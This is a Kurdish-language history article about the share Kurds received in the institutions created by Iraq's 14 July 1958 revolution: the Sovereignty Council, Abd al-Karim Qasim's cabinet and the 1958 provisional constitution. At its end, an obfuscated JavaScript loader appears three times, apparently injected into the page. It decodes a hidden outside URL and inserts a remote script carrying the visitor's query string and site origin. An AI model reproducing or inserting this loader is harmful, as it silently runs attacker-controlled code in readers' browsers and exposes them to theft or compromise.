كورد و ده‌ستكه‌فتیێن شۆره‌شا 14تیرمه‌ها 1958 ل ئیراقێ
لۆرنس نادر
كورد دهێنه نیاسین ژ پێكهاته‌یێن سه‌ره‌كى ل ئیراقێ، هه‌ر ژ رۆژا دامه‌زراندا شانشاهیا ئیراقێ ل سالا 1921 ره‌گه‌زێ كورد رۆله‌كێ مه‌زن ژد دروستكرنا ئیراقا نوی دا هه‌بوو. ده‌ڤه‌رێن كوردى دبنه پارچه‌ك ژ ده‌وله‌تا ئیراقا نوی و پشكداریا كوردان د حوكمه‌تێن ئیراقێ دا هه‌ر ژ ده‌سپێكێ و ژماره‌كا كوردان ئه‌ندامێن په‌رلمانێن ئیراقێ بوون. سه‌ره‌راى وێ چه‌ندێ ژماره‌كا بزاڤێن سیاسى یێن كوردى دژى حوكمه‌تێن ئیراقێ دروستبوون ژبۆ ده‌ستڤه‌ئینانا مافێن خوه، ل دوماهیێ ده‌ما شۆره‌شا 14تیرمه‌هى ل ئیراق رویدده‌ت، ب رێیا ڤێ شۆره‌شێ هنده‌ك ده‌ستكه‌فت ژبۆ كوردان په‌یدابوون.
وه‌كى هاتیه دیاركرن كو كورد پێكهاته‌كا ره‌سه‌نه ل ئیراقێ، هه‌ر ژ ده‌مێ دروستبوونا دوه‌له‌تا ئیراقێ ل 23 ته‌باخا 1921 كورد پشكدارى د ده‌نگدانێ دا بووینه، هه‌روه‌سا ژماره‌ك ژ كه‌سانێن كورد پشكدارى د ناڤ وه‌زاره‌تێن ئیراقێ دا پشكدار بووینه، هه‌روه‌سا د په‌رله‌مانى ئیراقێ دا كوردان نوونهر ه‌ووینه، كو یا دروست ئه‌وه كوردان ب ته‌مامى پشكدارى د ژیانا سیاسى ل ئیراقێ هه‌بوویه، سه‌ره‌راى ژماره‌كا بزاڤێن سیاسى یێن كوردى دژی حوكمه‌تێن ئیراقێ رویداینه. ل دوماهیێ ژماره‌كا كه‌سانێن كورد ئه‌ندام بوون د ناڤ (ئه‌فسه‌رێن ئازادیخواز) ب سه‌ركرداتیا (عه‌بدالكه‌ریم قاسم) ل سپێده‌یا 14 تیرمه‌ها 1958 ب كۆده‌تایه‌كا له‌شكرى رابن ل دژی سیسته‌مێ شاهانه ل ئیراقێ و سیسته‌مێ وه‌لاتى هاته گوهۆرین ژ شاهانه بۆ كۆمارى، پشتى هینگى ئه‌ڤ شۆره‌شه سێ جۆره ده‌ستكه‌فتى هه‌بوونه (منجزات الپوره)، (چڤاتا سه‌روه‌رى و حوكمه‌تا شۆره‌شێ و ده‌ستور) (جلس السیاده وحكومه الپوره والدستور المۆقت).
كورد دبیته پشكه‌كێ دى ژ هه‌رسێ ده‌ستكه‌فتیێن شۆره‌شێ ئه‌وێن هاتینه دیاركرن. به‌یاننامه‌یا شۆره‌شى ژلایێ (عه‌بدالسه‌لام محه‌مه‌د عارف) ڤه ل سپیده‌یا 14 تیرمه‌هێ دهێته خواندن ب رێكا رادیۆیێ، د ڤێ به‌یاننامێ دا بریار دا ژبۆ دروستبوونا (چڤاتا سه‌روه‌رى) ژ سێ كه‌سان. ئه‌ڤ كه‌سه دێ برێڤه‌برنا ب ڤێ چڤاتێ رابن. ئه‌ڤ كه‌سه ئێك ژ وان سه‌رۆكێ ڤێ چڤاتێ یه و ل گه‌ل دو ئه‌ندامان، كو سه‌رۆكێ چڤاتێ (محه‌مه‌د نجیب الروبه‌یعی) یێ سونه و هه‌ردو ئه‌ندامێن ڤێ چڤاتێ (محه‌مه‌د مه‌هدى كوبه) یێ شعه (خالد نه‌قشه‌به‌ندى) یێ كورد.
ده‌ستكه‌فتا دووێ یا شۆره‌شى پێكئینانا حوكمه‌تێ بوو ئه‌وا هاتیه نیاسین ب (حوكمه‌تا شۆره‌شێ). كو ئه‌ڤ كابینه ب سه‌ركرداتیا (عه‌بدالكریم قاسم) هاته دامه‌زراندن كو د ڤێ كابینه‌یا وه‌زاری دا دو كه‌س كورد بوون. (بابا عه‌لی- وه‌زیرى گه‌هاندن) كو ئه‌ڤه كۆرێ (شێخ مه‌حموود حه‌فید) بوو، و وه‌زیرێ دویێ (محه‌مه‌د سالح مه‌حموود – وه‌زیرێ ساخله‌میێ) بوو. راسته ئه‌ڤ هه‌ردو كه‌سه نه ژ پارتێن كورد بوون، وه‌ك پارتى دیموكراتى كوردستان، لێ هه‌ر چاوا بیت بههرا نه‌ته‌وا كورد هاتبوونه دیاركرن د ده‌ستكه‌فتیێن شۆره‌شێ دا.
بههرا كوردان و ده‌ستكه‌فتیا د ده‌ستوورى دا. ده‌ستوورێ سالا 1958 دهێته هژمارتن ئێك ژگرنگترین ده‌ستكه‌فتیێن شۆره‌شا 14 تیرمه‌ها 1958. وه‌كى وان ده‌ستكه‌فتیێن هاتینه دیاركرن، هه‌روه‌سا د ڤێ لایه‌نى دا ژی كورد به‌هر تێدا هه‌بوو. پشتى شۆره‌شێ لیژنه‌ك هاته دروستكرن ژبۆ نڤیسینا ده‌ستوورێ نوی یێ ئیراقێ پشتى شۆره‌شێ. و ل 27 تیرمه‌ها 1958 ده‌ستوورێ ئیراقێ هاته راگه‌هاندن.
ئه‌ڤ ده‌ستووره ژ (چار ده‌رگه‌ه و سیه مادده‌یان) پێك هاتبوو و مادده‌یا (3) به‌حسى كوردان دكه‌ت، ده‌ما دیار دكه‌ت كو ” دروستبوونا كیانێ ئیراقێ ل سه‌ر بنه‌مایێ هاریكاریێ د ناڤب‌را هه‌مى پێكهاتان دا و رێزگرتنا ماف و ئازادیا وان، هه‌روه‌سا كورد و عه‌ره‌ب شریكن ل سه‌ر ڤى وه‌لاتى و ئه‌ڤ ده‌ستووره مافێن وان یێن نه‌ته‌وایه‌تى د چارچووڤێ ئێكرێزیا ئیراقێ دیار دكه‌ت”. كو ئه‌ڤ مادده وه‌سا دده‌ته دیاركرن كورد و عه‌ره‌ب بێ جێوازى ده‌رباره‌ى مافێن وان یێن نه‌ته‌وایه‌تى ب هه‌ڤرانه، هه‌روه‌سا د چارچووڤێ ئیراقه‌كا ئێكگرتى دا.
ل دوماهیێ، راسته د ناڤ هه‌ر سێ ده‌ستكه‌فتیێن شۆره‌شێ بههرا كوردان هاتبوونه دیاركرن، لێ ئه‌ڤ ماف و ده‌ستكه‌فتیه كێشه‌یا كوردى ل ئیراقێ نه د چاره‌سه‌ر كر، ئه‌گه‌ر كێشه‌یا ون هاتبوو اره‌ه‌ر كرن، ئێك ژ مه‌زنترین رویدانێن ئیراقێ په‌یدا نه‌دبوو، ئه‌و ژی سه‌رهه‌لدانا بزاڤا كوردى ب سه‌ركرداتیا مه‌لا مسته‌فا بارزانی ل ئه‌یلۆنا 1961. كو ئه‌ڤ بزاڤه وه‌ك وه‌رچه‌رخانه‌یه‌ك بوو د مێژوویا ئیراق و كورداندت. له‌ورا یا گرنگه مافێن هه‌مى پێكهاته‌یان و بێ جێوازى ل ئیراقێ بهێنه دان. ئه‌ڤ وه‌لته ته‌نا نابیت هه‌تا دانا مافێن هه‌مى پێكهاته‌یان.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
